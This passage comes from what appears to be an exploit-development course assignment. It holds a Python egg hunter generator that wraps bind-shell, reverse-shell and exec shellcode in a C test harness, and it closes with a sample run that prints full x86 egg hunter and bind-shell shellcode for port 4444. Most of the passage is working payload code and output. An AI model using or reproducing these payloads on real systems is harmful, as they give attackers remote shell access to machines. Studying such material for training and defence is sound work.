                egg += "\\x%s%s" % (eggi[c], eggi[c+1])
 return egg

def nullBytes(cad):
        check = [cad.encode('hex')[i:i+2] for i in range(0, len(cad.encode('hex')), 2)]
        for i in check:
                if (i == "00"):
                        print "[-] The payload contains null bytes :("


def reversePayload(egg, address, port):
 port = port2hex(int(port))
 nullBytes(port)
 address = address2hex(address)
 nullBytes(address)
 shellcode = shellcode_l["reverse"]
 shellcode_o = shellcode.replace("PORT", port).replace("ADDRESS", address)
        sc = ""
        for c in bytearray(shellcode_o):
                sc += "\\x%02x" % c
        skeleton(egg, sc)


def bindPayload(egg, port):
 port = port2hex(int(port))
 port_check = [port.encode('hex')[i:i+2] for i in range(0, len(port.encode('hex')), 2)]
 nullBytes(port)
        shellcode = shellcode_l["bind"]
 shellcode_o = shellcode.replace("PORT", port)
        sc = ""
        for c in bytearray(shellcode_o):
                sc += "\\x%02x" % c
        skeleton(egg, sc)



def execPayload(egg):
 shellcode = shellcode_l["exec"]
 sc = ""
 for c in bytearray(shellcode):
  sc += "\\x%02x" % c
 skeleton(egg, sc)


def skeleton(egg, shellcode):
 shellcode_c = '#include\n\
#include\n\
#define EGG "%s"\n\
unsigned char egg_hunter[] = "%s";\n\
unsigned char code[] = \n\
EGG\n\
EGG\n\
"%s";\n\
main(){\n\
printf("Egg hunter Length: %%d\\n", strlen(egg_hunter));\n\
printf("Shellcode Length: %%d\\n", strlen(code));\n\
int (*ret)() = (int(*)())code;\n\
ret();\n\
}'%(getEgg(egg),eggHunter(egg),shellcode)
        print shellcode_c



def opciones():
        parser = OptionParser("usage: %prog [options] \nExample: ./%prog -e 50905090 -p exec")
        parser.add_option("-e", "--egghunter",
                  action="store", type="string", dest="egghunter", help="Egghunter pattern")
        parser.add_option("-p", "--payload",
                  action="store", type="string", dest="payload", help="Payload (exec, bind, reverse)")
        parser.add_option("-x", "--port",
                  action="store", type="string", dest="port", help="Port (bind or reverse payload)")
        parser.add_option("-a", "--address",
                  action="store", type="string", dest="address", help="Address (reverse payload)")
        (options, args) = parser.parse_args()
        if (len(sys.argv) == 1):
            parser.print_help()
        elif (options.egghunter is not None) and (options.payload is not None):
  if (options.payload == "exec"):
   execPayload(options.egghunter)
  elif (options.payload == "bind"):
   if (options.port is not None):
    bindPayload(options.egghunter, options.port)
   else:
    print "[-] Bindi shellcode needs a port"
    
  elif (options.payload == "reverse"):
   if (options.port is not None) and (options.address is not None):
    reversePayload(options.egghunter, options.address, options.port)
   else:
    print "[-] Reverse shellcode needs port and address"
  else:
   print "[-] Payload not valid"
 else:
  print "[-] Need egghunter and payload"


if __name__ == "__main__":
 opciones()


Example:

       
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment3$ ./egghunter.py -e 90509050 -p bind -x 4444 
#include
#include
#define EGG "\x90\x50\x90\x50"
unsigned char egg_hunter[] = "\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x90\x50\x90\x50\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7";
unsigned char code[] = 
EGG
EGG
"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc0\x31\xc9\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x31\xc0\x50\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xc0\x50\x50\x56\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main(){
printf("Egg hunter Length: %d\n", strlen(egg_hunter));
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}


Source code: https://github.com/Sinkmanu/SLAE/tree/master/Assignment3